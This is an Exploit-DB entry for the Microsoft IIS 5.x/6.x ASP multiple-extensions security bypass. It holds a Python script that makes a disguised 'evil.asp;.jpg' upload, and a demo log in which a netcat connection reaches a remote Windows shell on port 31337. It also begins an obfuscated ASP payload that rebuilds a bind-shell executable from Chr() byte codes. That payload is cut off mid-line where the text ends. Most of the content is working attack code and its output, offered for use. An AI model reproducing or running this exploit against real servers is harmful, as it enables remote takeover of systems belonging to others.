Exploit-DB #10791
Description: Microsoft IIS - ASP Multiple Extensions Security Bypass 5.x/6.x Vulnerabilities
Type: remote
Platform: windows
Date: 2009-12-30
Author: emgent

Exploit:
#!/usr/bin/python
#
# Exploit Title: Exploit for Microsoft IIS ASP Multiple Extensions Security Bypass 5.x/6.x
# Date: 29 dec 2009
# Author: Emanuele 'emgent' Gentili and Emanuele 'crossbower' Acri
# Software Link: N/A
# Version: IIS 5.x/6.x
# Tested on: Windows 2003 Server SP2
# CVE : N/A
# Code : http://www.backtrack.it/~emgent/exploits/IIS-asp.py 
# Special greetz. Carlo Velletri (brigante@backtrack.it)
#
# Vulnerability Description:
# The Vulnerability discovered in Microsoft Internet Information Services (IIS) can be exploited by malicious people to potentially bypass
# certain security restrictions and compromise a vulnerable system.
# The vulnerability is caused due to the web server incorrectly executing e.g. ASP code included in a file having multiple extensions separated
# by ";", if the first extension is equal to ".asp" (e.g. "file.asp;.jpg"). 
# This can be exploited to potentially upload and execute arbitrary ASP code via a third-party application using file extensions to restrict 
# uploaded file types.
#
# Exploit Descrition:
# This is a simple malicious file creator, that will help the users to create jpg images with metasploit shellcode.
# After that for exploit the IIS 5.x/6.x issue, the user must browse the file uploaded for running exploit code.
# Bindshell on port 31337 will be created, so use your netcat properly ;)
#
# Exploit Usage Demo:
# root@enJoy:/tmp# ./IIS-asp.py
# Exploit for Microsoft IIS ASP Multiple Extensions Security Bypass 5.x/6.x
# By Emanuele Gentili and Emanuele Acri (http://backtrack.it)
# 
# usage:
#         ./IIS-asp.py <image.jpg> <shellcode number>
# shellcodes:
#         0 - shell_bind_tcp
#         1 - meterpreter_bind_tcp
#         2 - vncinject_bind_tcp
# root@enJoy:/tmp# ./IIS-asp.py image.jpg 0
# Exploit for Microsoft IIS ASP Multiple Extensions Security Bypass 5.x/6.x
# By Emanuele Gentili and Emanuele Acri (http://backtrack.it)
#
# [+] File evil.asp;.jpg created and ready to use.
# Enjoy... ;)
# root@enJoy:/tmp#
#
# .. Uploding evil.asp;.jpg on form and surfing the picture with browser for start payload ...
#
#
# root@enJoy:/tmp# nc -vv 10.12.6.6 31337
# Zerbion [10.12.6.6] 31337 (?) open
#
# Microsoft Windows [Version 5.2.3790]
# (C) Copyright 1985-2003 Microsoft Corp.
#
# c:\windows\system32\inetsrv>whoami
#
# nt authority\network service
#
# c:\windows\system32\inetsrv>

import sys

# Payloads

shell_bind_tcp       = """
<%
Sub NrMYDilU()
gfoN=Chr(77)&Chr(90)&Chr(144)&Chr(0)&Chr(3)&Chr(0)&Chr(0)&Chr(0)&Chr(4)&Chr(0)&Chr(0)&Chr(0)&Chr(255)&Chr(255)&Chr(0)&Chr(0)&Chr(184)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(64)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(224)&Chr(0)&Chr(0)&Chr(0)&Chr(14)&Chr(31)&Chr(186)&Chr(14)&Chr(0)&Chr(180)&Chr(9)&Chr(205)&Chr(33)&Chr(184)&Chr(1)&Chr(76)&Chr(205)&Chr(33)&Chr(84)&Chr(104)&Chr(105)&Chr(115)&Chr(32)&Chr(112)&Chr(114)&Chr(111)&Chr(103)&Chr(114)&Chr(97)&Chr(109)&Chr(32)&Chr(99)&Chr(97)&Chr(110)&Chr(110)&Chr(111)&Chr(116)&Chr(32)&Chr(98)&Chr(101)
gfoN=gfoN&Chr(32)&Chr(114)&Chr(117)&Chr(110)&Chr(32)&Chr(105)&Chr(110)&Chr(32)&Chr(68)&Chr(79)&Chr(83)&Chr(32)&Chr(109)&Chr(111)&Chr(100)&Chr(101)&Chr(46)&Chr(13)&Chr(13)&Chr(10)&Chr(36)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(235)&Chr(154)&Chr(70)&Chr(50)&Chr(175)&Chr(251)&Chr(40)&Chr(97)&Chr(175)&Chr(251)&Chr(40)&Chr(97)&Chr(175)&Chr(251)&Chr(40)&Chr(97)&Chr(177)&Chr(169)&Chr(172)&Chr(97)&Chr(181)&Chr(251)&Chr(40)&Chr(97)&Chr(177)&Chr(169)&Chr(189)&Chr(97)&Chr(191)&Chr(251)&Chr(40)&Chr(97)&Chr(177)&Chr(169)&Chr(171)&Chr(97)&Chr(230)&Chr(251)&Chr(40)&Chr(97)&Chr(136)&Chr(61)&Chr(83)&Chr(97)&Chr(172)&Chr(251)&Chr(40)&Chr(97)&Chr(175)&Chr(251)&Chr(41)&Chr(97)&Chr(230)&Chr(251)&Chr(40)&Chr(97)&Chr(177)&Chr(169)&Chr(162)&Chr(97)&Chr(174)&Chr(251)&Chr(40)&Chr(97)&Chr(177)&Chr(169)&Chr(185)&Chr(97)&Chr(174)&Chr(251)&Chr(40)&Chr(97)
gfoN=gfoN&Chr(82)&Chr(105)&Chr(99)&Chr(104)&Chr(175)&Chr(251)&Chr(40)&Chr(97)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(80)&Chr(69)&Chr(0)&Chr(0)&Chr(76)&Chr(1)&Chr(4)&Chr(0)&Chr(1)&Chr(253)&Chr(103)&Chr(74)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(224)&Chr(0)&Chr(3)&Chr(1)&Chr(11)&Chr(1)&Chr(9)&Chr(0)&Chr(0)&Chr(100)&Chr(0)&Chr(0)&Chr(0)&Chr(44)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(198)&Chr(32)&Chr(0)&Chr(0)&Chr(0)&Chr(16)&Chr(0)&Chr(0)&Chr(0)&Chr(128)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(64)&Chr(0)&Chr(0)&Chr(16)&Chr(0)&Chr(0)&Chr(0)&Chr(2)&Chr(0)&Chr(0)&Chr(5)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(5)&Chr(0)&Chr(0)&Chr(0)
gfoN=gfoN&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(208)&Chr(0)&Chr(0)&Chr(0)&Chr(4)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(2)&Chr(0)&Chr(0)&Chr(128)&Chr(0)&Chr(0)&Chr(16)&Chr(0)&Chr(0)&Chr(16)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(16)&Chr(0)&Chr(0)&Chr(16)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(16)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(100)&Chr(149)&Chr(0)&Chr(0)&Chr(40)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(192)&Chr(0)&Chr(0)&Chr(180)&Chr(1)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)
gfoN=gfoN&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(104)&Chr(146)&Chr(0)&Chr(0)&Chr(64)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(128)&Chr(0)&Chr(0)&Chr(232)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&C